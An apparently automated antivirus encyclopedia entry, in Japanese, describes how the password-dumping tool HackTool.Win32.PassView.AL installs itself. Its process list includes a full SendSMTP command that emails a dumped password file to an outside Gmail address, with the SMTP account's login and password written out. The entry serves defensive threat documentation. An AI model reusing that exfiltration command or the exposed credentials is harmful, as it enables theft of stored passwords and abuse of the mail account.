HackTool.Win32.PassView.AL

プログラムは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

プログラムは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

プログラムは、以下のプロセスを追加します。

• "%System%\WScript.exe" "%User Temp%\RarSFX0\HideTest.vbs"
• %User Temp%\RarSFX0\HideTest.vbs
• test.bat
• %System%\PING.EXE ping 1.1.1.1 -n 1 -w 1000
• nir.exe
• %System%\PING.EXE ping 1.1.1.1 -n 1 -w 300000
• %User Temp%\RarSFX0\SendSMTP.exe sendsmtp /HOST smtp-server.com /PORT 25 /USERID rozzano@patronato.acli.it /PASS Logan5 /FROM rozzano@patronato.acli.it /TO charlyparker555@gmail.com /SUBJECT "PWD--{username} {computername}" /FILES 1.txt
• taskkill /f /im nir.exe
• %System%\PING.EXE ping 1.1.1.1 -n 1 -w 3000
• %Windows%\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext 1.txt
• %System%\lsass.exe

プログラムは、以下のフォルダを作成します。

• %System Root%\Users
• %User Temp%\RarSFX0
• %User Profile%\AppData

(註：%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.. %User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %User Profile%フォルダは、現在ログオンしているユーザのプロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞" です。)

他のシステム変更

プログラムは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\WinRAR SFX
C%%users%{username}%AppData%Local%Temp = "%User Temp%\RarSFX0"

作成活動

プログラムは、以下のファイルを作成します。

• %User Temp%\RarSFX0\nir.exe
• %User Temp%\RarSFX0\MethodInf.dll
• %User Temp%\RarSFX0\SendSMTP.exe
• %User Temp%\RarSFX0\1.txt
• %User Temp%\RarSFX0\HideTest.vbs
• %AppDataLocal%\Microsoft\Internet Explorer\MSIMGSIZ.DAT
• %AppDataLocal%\GDIPFONTCACHEV1.DAT

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

その他

プログラムは、以下の不正なWebサイトにアクセスします。

• http://{BLOCKED}erver.com
• {BLOCKED}1

このウイルス情報は、自動解析システムにより作成されました。